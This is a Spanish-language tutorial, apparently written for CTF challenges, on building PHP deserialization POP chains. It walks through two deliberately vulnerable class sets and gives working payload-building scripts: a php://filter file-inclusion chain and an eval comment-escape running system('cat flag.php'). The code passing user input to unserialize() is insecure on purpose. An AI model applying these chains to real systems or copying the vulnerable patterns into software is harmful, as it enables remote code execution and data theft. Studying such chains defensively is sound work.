En el análisis de vulnerabilidades de deserialización en PHP, la función unserialize() actúa únicamente como el punto de entrada. La verdadera complejidad y el éxito de la explotación residen en la construcción de la cadena POP (Property Oriented Programming). En escenarios reales o competencias de seguridad, el mayor desafío no es comprender la teoría, sino identificar los gadgets adecuados dentro de un conjunto de clases y ensamblarlos en una cadena de ejecución viable.
A continuación, se desglosa el proceso de análisis y construcción de cadenas POP a través de dos escenarios prácticos, demostrando cómo pasar del código fuente a un payload funcional.
Caso 1: Análisis de Inclusión de Archivos mediante Cadenas POP
1.1 Código Fuente y Objetivos
Consideremos el siguiente fragmento de código que simula un entorno vulnerable donde la bandera (flag) se encuentra en un archivo protegido:
<?php
class FileIncluder {
protected $targetPath;
public function loadResource($path) {
include($path);
}
public function __invoke() {
$this->loadResource($this->targetPath);
}
}
class ViewRenderer {
public $viewName;
public $delegate;
public function __construct($name = 'index.php') {
$this->viewName = $name;
echo 'Rendering: ' . $this->viewName . "<br>";
}
public function __toString() {
return $this->delegate->viewName;
}
public function __wakeup() {
if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->viewName)) {
echo "Blocked protocol";
$this->viewName = "index.php";
}
}
}
class DynamicCaller {
public $handler;
public function __construct() {
$this->handler = [];
}
public function __get($property) {
$action = $this->handler;
return $action();
}
}
if (isset($_GET['data'])) {
@unserialize($_GET['data']);
} else {
$default = new ViewRenderer();
highlight_file(__FILE__);
}
?>
1.2 Identificación del Sink (Punto Peligroso)
El objetivo principal es ejecutar una inclusión de archivos arbitraria. El sink crítico se encuentra en FileIncluder::loadResource(), que envuelve la función include(). Dado que el objetivo es leer flag.php, se debe controlar el parámetro de este método.
1.3 Trazado Inverso de la Cadena
El método loadResource() no se invoca directamente. Sin embargo, el método mágico __invoke() en la misma clase lo llama. Esto significa que si una instancia de FileIncluder se trata como una función, se activará __invoke().
Para lograr que un objeto se ejecute como función, se busca en DynamicCaller. Su método __get() se activa al acceder a una propiedad inexistente y ejecuta $this->handler como una función. Si se asigna un objeto FileIncluder a handler, se desencadenará __invoke().
Para activar __get(), es necesario acceder a una propiedad inexistente. En ViewRenderer::__toString(), se accede a $this->delegate->viewName. Si delegate es una instancia de DynamicCaller (que no tiene la propiedad viewName), se disparará __get().
Finalmente, __toString() se activa cuando el objeto se usa como cadena. Durante la deserialización, ViewRenderer::__wakeup() se ejecuta. Si se configura viewName para que apunte a sí mismo, se forzará la conversión de tipo y se iniciará la cadena.
1.4 Construcción del Payload
La relación de objetos requerida es:
ViewRenderer->delegate→DynamicCallerDynamicCaller->handler→FileIncluderFileIncluder->targetPath→php://filter/read=convert.base64-encode/resource=flag.phpViewRenderer->viewName→ Referencia a sí mismo (para forzar__toString)
<?php
// Definiciones de clases omitidas por brevedad, asumidas idénticas al entorno objetivo
$includer = new FileIncluder();
$includer->targetPath = 'php://filter/read=convert.base64-encode/resource=flag.php';
$caller = new DynamicCaller();
$caller->handler = $includer;
$renderer = new ViewRenderer();
$renderer->viewName = $renderer; // Fuerza __toString
$renderer->delegate = $caller;
echo urlencode(serialize($renderer));
?>
Caso 2: Ejecución de Código bajo Restricciones de Comentarios
2.1 Código Fuente y Objetivos
<?php
class Avian {
public $objRef;
public $dataRef;
public function __invoke() {
$this->objRef->process();
}
}
class Aquatic {
public $link;
public function __destruct() {
echo $this->link . ' terminated';
}
public function __call($method, $args) {
echo $this->link->extractData();
}
}
class Flora {
public $branch;
public function __toString() {
$this->branch->execute();
return 'flora';
}
}
class Symbiote {
public $callable;
public $evalPayload;
public function execute() {
($this->callable)();
}
public function extractData() {
eval('/* ' . $this->evalPayload . ' */');
}
}
if (isset($_POST['input'])) {
unserialize($_POST['input']);
} else {
highlight_file(__FILE__);
}
?>
2.2 Identificación del Sink y Evasión
El sink crítico es Symbiote::extractData(), que utiliza eval(). Aunque el código inyecta un comentario de bloque /*, esto puede evadirse cerrando el comentario prematuramente con */ antes de inyectar el código malicioso.
2.3 Trazado Inverso de la Cadena
Para llegar a extractData(), se observa Aquatic::__call(), que se activa al llamar a un método inexistente en un objeto Aquatic.
En Avian::__invoke(), se llama a $this->objRef->process(). Como Aquatic no tiene el método process(), esto dispara __call(). Por lo tanto, objRef debe ser una instancia de Aquatic, y su link debe apuntar a Symbiote.
Para activar __invoke() en Avian, Symbiote::execute() trata a $this->callable como una función. Así, callable debe ser una instanica de Avian.
Para llegar a execute(), Flora::__toString() llama a $this->branch->execute(). Por lo tanto, branch debe ser Symbiote.
Finalmente, Aquatic::__destruct() hace echo $this->link. Si link es una instancia de Flora, se activará __toString(). El método __destruct() se ejecuta automáticamente al finalizar la deserialización.
2.4 Construcción del Payload
La estructura de objetos resultante es:
Aquatic->link→FloraFlora->branch→Symbiote(Ejecutaexecute)Symbiote->callable→Avian(Ejecuta__invoke)Avian->objRef→Aquatic(Ejecuta__call)Aquatic->link→Symbiote(EjecutaextractData)Symbiote->evalPayload→*/ system('cat flag.php'); //(Cierra el comentario y ejecuta)
<?php
// Definiciones de clases asumidas presentes
$start = new Aquatic();
$start->link = new Flora();
$start->link->branch = new Symbiote();
$start->link->branch->callable = new Avian();
$start->link->branch->callable->objRef = new Aquatic();
$start->link->branch->callable->objRef->link = new Symbiote();
$start->link->branch->callable->objRef->link->evalPayload = "*/ system('cat flag.php'); //";
echo urlencode(serialize($start));
?>
Metodología General para la Construcción de Cadenas POP
El análisis de los casos anteriores revela un patrón sistemático para la ingeniería de cadenas POP. A continuación, se detalla el flujo de trabajo recomendado:
1. Identificación del Sink (Punto de Impacto)
El error más común es comenzar la búsqueda desde el punto de entrada (unserialize). El enfoque correcto es iniciar desde el final: identificar las funciones peligrosas (sinks) como eval(), include(), system(), etc. Solo al definir el objetivo final, la cadena adquiere una dirección clara.
2. Análisis de Invocación Indirecta
Los sinks raramente se llaman de forma directa en el código vulnerable. Su ejecución depende de métodos mágicos. Es fundamental mapear qué métodos mágicos (__invoke, __call, __get, __toString, etc.) pueden ejecutar el sink y bajo qué condiciones se disparan.
3. Trazado Inverso (Reverse Tracing)
Una vez identificado el método mágico que llama al sink, se debe buscar qué código dentro de las clases disponibles puede satisfacer la condición de activación de ese método mágico. Este proceso se repite recursivamente hacia arriba en la jerarquía de llamadas.
4. Identificación del Trigger (Detonante Automático)
La cadena debe terminar en un método mágico que se ejecute automáticamente sin intervención explícita del usuario durante el proceso de deserialización. Los más comunes son:
__destruct(): Se ejecuta cuando el objeto es destruido (al final del script o al perder su referencia).__wakeup(): Se ejecuta inmediatamente después de la deserialización.__toString(): Se ejecuta cuando el objeto es tratado como una cadena (ej. en unecho).
5. Ensamblaje del Grafo de Objetos
La construcción del payload no se trata de "llamar funciones", sino de "configurar referencias de objetos". Cada propiedad de una clase debe apuntar a la instancia correcta de otra clase para satisfacer las condiciones de los métodos mágicos. Visualizar esto como un grafo de objetos donde los nodos son instancias y las aristas son las referencias de propiedades facilita enormemente la creación del exploit.